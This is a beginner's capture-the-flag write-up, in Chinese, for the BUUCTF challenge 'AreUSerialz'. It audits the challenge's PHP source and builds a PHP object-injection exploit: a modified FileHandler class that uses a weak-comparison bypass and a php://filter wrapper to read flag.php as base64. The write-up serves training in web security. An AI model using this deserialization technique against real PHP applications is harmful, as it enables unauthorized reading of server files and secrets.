BUUCTF [[网鼎杯 2020 青龙组]AreUSerialz 序列化
打开靶机
复制源码,审计
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
当传入op为1时,转到write函数,为2时,转到read函数
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
注意,==是弱对比
再看看read函数和魔术函数__destruct
直接开始构造函数
看了大佬的WP,有点搞不明白为什么要注释掉->process()
<?php class FileHandler { public $op=2; public $filename='php://filter/read=convert.base64-encode/resource=flag.php'; public $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; // $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; // $this->process(); } } $a=new FileHandler; $b=serialize($a); echo $b; ?>
$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。
得到序列化后的语句,构造payload
得到base64后解码
得到了flag
我是Dixk-BXy,新手上路,转载请注明原文链接:https://www.cnblogs.com/DenZi/articles/15088205.html